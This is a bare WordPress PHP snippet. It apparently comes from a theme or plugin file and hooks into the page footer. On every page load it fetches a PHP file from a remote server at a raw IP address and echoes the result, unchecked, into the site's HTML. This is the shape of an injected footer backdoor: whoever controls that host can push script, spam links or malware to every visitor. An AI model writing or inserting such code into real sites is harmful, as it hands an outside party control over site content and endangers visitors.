add_action( 'wp_footer', 'myphotocto_footer' ); function myphotocto_footer(){ $footer = file_get_contents('http://67.227.234.42/~vrmeebkh/wp-content/plugins/mypctofooter/mypctofooter.php'); echo $footer; }